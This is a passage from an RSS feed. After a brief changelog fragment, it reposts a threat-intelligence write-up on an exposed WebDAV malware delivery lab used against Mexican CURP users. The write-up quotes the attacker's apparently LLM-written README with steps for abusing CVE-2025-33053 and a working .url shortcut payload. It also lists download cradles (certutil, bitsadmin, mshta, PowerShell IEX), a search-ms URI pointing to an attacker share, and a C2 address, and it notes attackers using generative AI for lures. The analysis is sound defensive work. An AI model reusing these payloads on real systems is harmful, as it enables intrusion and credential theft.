<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/774" data-hovercard-type="issue" data-hovercard-url="/langwatch/scenario/issues/774/hovercard">#774</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Pipecat adapter + background-loop spans (<a href="https://github.com/langwatch/scenario/issues/781" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/781/hovercard">#781</a>) (<a href="https://github.com/langwatch/scenario/commit/67f71b1d30610e2da96396dea1e4c7f1a1355831">67f71b1</a>)</li>
<li><strong>voice:</strong> instrument Twilio adapter with LangWatch spans (<a href="https://github.com/langwatch/scenario/issues/788" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/788/hovercard">#788</a>) (<a href="https://github.com/langwatch/scenario/commit/8747eed1a8e36db0dfba3ebd08359822fa6d1e52">8747eed</a>)</li>
</ul>
<h3>Bug Fixes</h3>
<ul>
<li><strong>security:</strong> bump <a href="https://github.com/opentelemetry">@opentelemetry</a> sdk-node/exporter-prometheus to 0.217.0 (<a href="https://github.com/langwatch/scenario/commit/87d5509f8421f7b2370e9b64ab71daf4612e0a1a">87d5509</a>)</li>
<li><strong>security:</strong> bump <a href="https://github.com/opentelemetry">@opentelemetry</a> sdk-node/exporter-prometheus to 0.217.0 (with ReadableSpan migration) (<a href="https://github.com/langwatch/scenario/issues/702" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/702/hovercard">#702</a>) (<a href="https://github.com/langwatch/scenario/commit/87d5509f8421f7b2370e9b64ab71daf4612e0a1a">87d5509</a>)</li>
<li><strong>security:</strong> raise esbuild, js-yaml, and dompurify override floors across JS workspaces (<a href="https://github.com/langwatch/scenario/issues/671" data-hovercard-type="pull_request" data-hovercard-url="/langwatch/scenario/pull/671/hovercard">#671</a>) (<a href="https://github.com/langwatch/scenario/commit/c76bab247cd69395bcd55b85046dc4f17c783618">c76bab2</a>)</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]></title>
<description><![CDATA[Executive summaryAn MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery...]]></description>
<link>https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/</guid>
<pubDate>Mon, 20 Jul 2026 15:53:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Executive summary</h2><p><span>An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.</span></p><p><span>Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.</span></p><p><span>This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.</span></p><h2>Introduction: From MDR alert to attacker infrastructure</h2><p><span>The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using </span><span><span data-type="inlineCode">rundll32.exe</span></span><span>. Telemetry showed the WebClient service starting, followed by </span><span><span data-type="inlineCode">davclnt.dll</span></span><span> reaching out to a remote host to retrieve content.</span></p><p><span>That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.</span></p><p><span>At a high level, the 1,048 files clustered as follows:</span></p><p><span></span></p><table><colgroup data-width="1566"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Category</strong></span></p></td><td><p><span><strong>Files</strong></span></p></td><td><p><span><strong>Functions and discoveries</strong></span></p></td></tr><tr><td><p><span>LNK delivery launchers</span></p></td><td><p><span>453</span></p></td><td><p><span>Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths</span></p></td></tr><tr><td><p><span>Filename-spoofing QA</span></p></td><td><p><span>236</span></p></td><td><p><span>Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior</span></p></td></tr><tr><td><p><span>URL/LOLBin execution tests</span></p></td><td><p><span>146</span></p></td><td><p><span>Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution</span></p></td></tr><tr><td><p><span>Encrypted droppers</span></p></td><td><p><span>89</span></p></td><td><p><span>Staged second-stage payloads and installer-style packages</span></p></td></tr><tr><td><p><span>Alternative execution containers</span></p></td><td><p><span>24</span></p></td><td><p><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, </span><span><span data-type="inlineCode">.cpl</span></span><span>, and related delivery containers</span></p></td></tr><tr><td><p><span>Payload stubs and spoofed executables</span></p></td><td><p><span>21</span></p></td><td><p><span>Smaller loaders, decoys, and renamed binaries</span></p></td></tr><tr><td><p><span>WebDAV scripts</span></p></td><td><p><span>17</span></p></td><td><p><span>Scripts intended to make WebDAV delivery more reliable on Windows systems</span></p></td></tr><tr><td><p><span>Builder and operator notes</span></p></td><td><p><span>10</span></p></td><td><p><span><span data-type="inlineCode">README</span></span><span> files, test reports, mappings, and generation scripts</span></p></td></tr><tr><td><p><span>ClickFix HTML lures</span></p></td><td><p><span>9</span></p></td><td><p><span>Browser-based social-engineering pages instructing users to run commands</span></p></td></tr><tr><td><p><span>Miscellaneous files</span></p></td><td><p><span>6</span></p></td><td><p><span>Included documentation for the actor’s WebDAV delivery/admin panel</span></p></td></tr></tbody></table><p><span><em>Table 1: Breakdown of files recovered from the attacker’s delivery workspace</em></span></p><h2><span>Technical analysis and observed attacker behavior</span></h2><h3>Attackers testing like a product team</h3><p><span>The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, </span><span><span data-type="inlineCode">search-ms</span></span><span>, </span><span><span data-type="inlineCode">library-ms</span></span><span>, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.</span></p><p><span>The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named </span><span><span data-type="inlineCode">testik</span></span><span> and </span><span><span data-type="inlineCode">testik2</span></span><span>, a Russian diminutive form of “test”.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" alt="testing-files-subfolders.png" caption="Figure 1: Snippet of one of many subfolders containing testing files." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="testing-files-subfolders.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltbc6d4a9f8e6c1e40/6a5e1283f480d89435286a73/testing-files-subfolders.png" data-sys-asset-uid="bltbc6d4a9f8e6c1e40" data-sys-asset-filename="testing-files-subfolders.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Snippet of one of many subfolders containing testing files." data-sys-asset-alt="testing-files-subfolders.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 1: Snippet of one of many subfolders containing testing files.</figcaption></div></figure><p>⠀</p><p><span>Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.</span></p><p><span></span></p><table><colgroup data-width="1901"><col><col><col></colgroup><tbody><tr><td><p><span><strong>CVE</strong></span></p></td><td><p><span><strong>Observed samples</strong></span></p></td><td><p><span><strong>Short description</strong></span></p></td></tr><tr><td><p><span>CVE-2025-33053</span></p></td><td><p><span>11</span></p></td><td><p><span>Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-33053?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2026-21513</span></p></td><td><p><span>4</span></p></td><td><p><span>MSHTML Framework security feature bypass caused by protection-mechanism failure. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-21513?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr><tr><td><p><span>CVE-2025-24054</span></p></td><td><p><span>1</span></p></td><td><p><span>Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved </span><span><span data-type="inlineCode">.library-ms</span></span><span> files. (</span><a href="https://nvd.nist.gov/vuln/detail/CVE-2025-24054?utm_source=chatgpt.com" target="_blank"><span>nvd.nist.gov</span></a><span>)</span></p></td></tr></tbody></table><p><span><em>Table 2: CVE references observed in the exposed directory.</em></span></p><p></p><p><span>The most developed test set focused on </span><span>CVE-2025-33053,</span><span> the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses </span><span><span data-type="inlineCode">.url</span></span><span> shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span>, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.</span></p><p><span>The README files closely mirrored this logic. They called out </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported </span><span><span data-type="inlineCode">summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr</span></span><span> path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.</span></p><p></p><pre language="c">CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D</pre><p language="html"><span><em>Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.</em></span><em><br></em>⠀</p><p><span>The testing approach was methodical and included the below:</span></p><p><span><strong>Transports</strong></span><span>: WebDAV over </span><span><span data-type="inlineCode">@80</span></span><span> and </span><span><span data-type="inlineCode">@ssl@443</span></span></p><p><span><strong>Path formats</strong></span><span>: </span><span><span data-type="inlineCode">DavWWWRoot</span></span><span> vs. plain UNC</span></p><p><span><strong>Fallback LOLBins</strong></span><span>: </span><span><span data-type="inlineCode">CustomShellHost.exe</span></span><span>, </span><span><span data-type="inlineCode">OfficeC2RClient.exe</span></span><span>, and many more for hosts where </span><span><span data-type="inlineCode">iediagcmd.exe</span></span><span> is absent</span></p><p><span><strong>Download cradles</strong></span><span>: </span><span><span data-type="inlineCode">bitsadmin /transfer</span></span><span>, </span><span><span data-type="inlineCode">certutil -urlcache -split -f</span></span><span>, </span><span><span data-type="inlineCode">mshta http(s)://…</span></span></p><p><span><strong>Shortcut launchers</strong></span><span>: PowerShell </span><span><span data-type="inlineCode">IEX (New-Object Net.WebClient).DownloadString(...)</span></span><span>, hidden/minimized windows</span></p><p><span><strong>Explorer containers</strong></span><span>: </span><span><span data-type="inlineCode">search-ms:</span></span><span> queries and </span><span><span data-type="inlineCode">.library-ms</span></span><span> files exposing remote payloads</span></p><p><span><strong>ClickFix pages</strong></span><span>: relying on user copy/paste execution</span></p><p><span><strong>Filename spoofing</strong></span><span>: RTLO (U+202E), double extensions, and whitespace padding before </span><span><span data-type="inlineCode">.exe</span></span><span> / </span><span><span data-type="inlineCode">.scr</span></span></p><h2>The lure factory</h2><p><span>The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.</span></p><p><span>Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.</span></p><p><span>The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.</span></p><p><span>The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as </span><span><span data-type="inlineCode">Fix_Connection_Error.html</span></span><span>, </span><span><span data-type="inlineCode">Update_Required.html</span></span><span>, </span><span><span data-type="inlineCode">Secure_Document_Access.html</span></span><span>, </span><span><span data-type="inlineCode">Verification_Failed.html</span></span><span>, and </span><span><span data-type="inlineCode">Open_Document_Instructions.html</span></span><span> show how the actor repackaged the same execution pattern under different social-engineering themes.</span></p><p><span>The commands typically launched PowerShell to fetch remote content, used </span><span><span data-type="inlineCode">cmd.exe</span></span><span> to open payloads from WebDAV or UNC paths, or used utilities like </span><span><span data-type="inlineCode">rundll32</span></span><span> and </span><span><span data-type="inlineCode">mshta</span></span><span> to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.</span></p><h2>The payload chains </h2><p><span>The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.</span></p><p><span>We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, </span><span><span data-type="inlineCode">CursorSetup</span></span><span>, </span><span><span data-type="inlineCode">ReportFinal.rsc.pdf</span></span><span>, </span><span><span data-type="inlineCode">ReportFina.exe</span></span><span> and </span><span><span data-type="inlineCode">pdfgear_setup_v2.1.16.exe</span></span><span>, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.</span></p><p><span>Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. </span></p><p><span>This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution. </span></p><h2><span>Case study 1: CURP campaign targeting Mexico</span></h2><p><span>Our MDR alert began with a user who landed on the phishing site </span><span><span data-type="inlineCode">www[.]gobf[.]mx</span></span><span>, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at </span><a href="https://www.gob.mx/curp/" target="_blank"><span>https://www.gob.mx/curp/</span></a><span>. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico%E2%80%99s-CURP-lookup-service.png" alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc4d4e8c3f881bba8/6a5e14ba2ee1c1e5373aea06/Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-uid="bltc4d4e8c3f881bba8" data-sys-asset-filename="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic." data-sys-asset-alt="Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.</figcaption></div></figure><p>⠀</p><p><span>The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a </span><span><span data-type="inlineCode">search-ms:</span></span><span> URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to </span><span><span data-type="inlineCode">.scr</span></span><span> files:</span></p><p><span></span></p><pre language="c">search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &amp;query=*.scr
         &amp;crumb=location:\\onedrive.cv@80\Downloads\CURP</pre><p>⠀<br><span>It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.</span></p><p><span>The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The </span><span><span data-type="inlineCode">CURP</span></span><span> folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span>, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.</span><br></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" alt="Simba-Service-WebDAV-dashboard-CURP.png" caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltedc57850fe037c68/6a5e15175e34b039dfdfd8bf/Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-uid="bltedc57850fe037c68" data-sys-asset-filename="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions." data-sys-asset-alt="Simba-Service-WebDAV-dashboard-CURP.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.</figcaption></div></figure><p>⠀</p><p><span>Although </span><span><span data-type="inlineCode">ReportFinal.rcs.pdf</span></span><span> appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded </span><span><span data-type="inlineCode">.scr</span></span><span> executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the </span><span><span data-type="inlineCode">Fo-Binary.exe</span></span><span> loader, initiating the multi-stage infection chain.</span></p><p><span></span></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" alt="Execution-chain-PDF-lure.jpg" caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf312b78111eb9912/6a5e15916d22612fa5454d67/Execution-chain-PDF-lure.jpg" data-sys-asset-uid="bltf312b78111eb9912" data-sys-asset-filename="Execution-chain-PDF-lure.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration." data-sys-asset-alt="Execution-chain-PDF-lure.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.</figcaption></div></figure><p>⠀</p><p><span>The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:</span></p><ul><li><span><strong>Decryption:</strong></span><span> The </span><span><span data-type="inlineCode">Fcqleh</span></span><span> loader decrypted the embedded payload using AES and GZip.</span></li><li><p><span><strong>Reflective Loading: </strong></span><span>The loader mapped the payload directly into memory using the </span><span><span data-type="inlineCode">Assembly.Load(byte[])</span></span><span> API.</span></p></li><li><p><span><strong>Process Injection:</strong></span><span> The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.</span></p></li></ul><p><span>The decrypted in-memory configuration exposed the payload’s feature set and version </span><span><span data-type="inlineCode">4.4.3</span></span><span>. It also contained the build tag </span><span><span data-type="inlineCode">06x12x2026SantaEbash2</span></span><span>, which matched toolkit timestamps from June 12, 2026.</span></p><p><span>Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram </span><span><span data-type="inlineCode">tdata</span></span><span> session database, Foxmail data, and a screenshot of the victim’s desktop.</span></p><p><span>The payload also included anti-analysis checks. The payload checked for the </span><span><span data-type="inlineCode">COR_PROFILER</span></span><span> environment variable and called </span><span><span data-type="inlineCode">IsDebuggerPresent</span></span><span>. If the malware detected that it was being monitored or debugged, it immediately called </span><span><span data-type="inlineCode">FailFast</span></span><span> to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. </span></p><p><span>Collected data was exfiltrated to </span><span><span data-type="inlineCode">77[.]110.127.205</span></span><span> (alias </span><span><span data-type="inlineCode">google.services.ug</span></span><span>, certificate </span><span><span data-type="inlineCode">CN=Eglgyqnoa</span></span><span>) over </span><span><span data-type="inlineCode">SslStream</span></span><span> (TLS without SNI) and raw </span><span><span data-type="inlineCode">Socket</span></span><span>.</span><span>The stolen data was sent as a multipart HTTP POST request to </span><span><span data-type="inlineCode">/c2</span></span><span>.</span></p><p><span>Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.</span></p><h2>Case study 2: The "DlrtyGames" sideloading chain</h2><p><span>While the </span><span><span data-type="inlineCode">ReportFinal</span></span><span> lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, </span><span><span data-type="inlineCode">DlrtyGames</span></span><span>, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> chain began with a silent 7-Zip SFX dropper, </span><span><span data-type="inlineCode">DlrtyGames.exe</span></span><span>. It extracted a benign, signed Ubisoft binary, </span><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span>, into the victim’s temporary directory alongside a trojanized dependency, </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. </span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" alt="DlrtyGames-execution-chain.jpg" caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltf89ec69e4241e5c3/6a5e1707745c95057f3acb23/DlrtyGames-execution-chain.jpg" data-sys-asset-uid="bltf89ec69e4241e5c3" data-sys-asset-filename="DlrtyGames-execution-chain.jpg" data-sys-asset-contenttype="image/jpeg" data-sys-asset-caption="Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution." data-sys-asset-alt="DlrtyGames-execution-chain.jpg" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.</figcaption></div></figure><p>⠀</p><p><span><span data-type="inlineCode">Volt_Droid.exe</span></span><span> used DLL sideloading to load </span><span><span data-type="inlineCode">discord-rpc.x64.dll</span></span><span>. This decoded its configuration, resolved APIs by hash, and manually mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span>. The mapped </span><span><span data-type="inlineCode">profiler16.dll</span></span><span> stage then read </span><span><span data-type="inlineCode">loader-pool.db</span></span><span>, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through </span><span><span data-type="inlineCode">dllhost.exe</span></span><span>, and prepared the final hollowing stage.</span></p><p><span>The final injection stage was handled by an x86 PIC shellcode blob carved from </span><span><span data-type="inlineCode">loader-pool.db</span></span><span> at offset </span><span><span data-type="inlineCode">0xb516a</span></span><span>. That shellcode created signed host processes such as </span><span><span data-type="inlineCode">MegArray.exe</span></span><span> or </span><span><span data-type="inlineCode">Crisp.exe</span></span><span> in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span 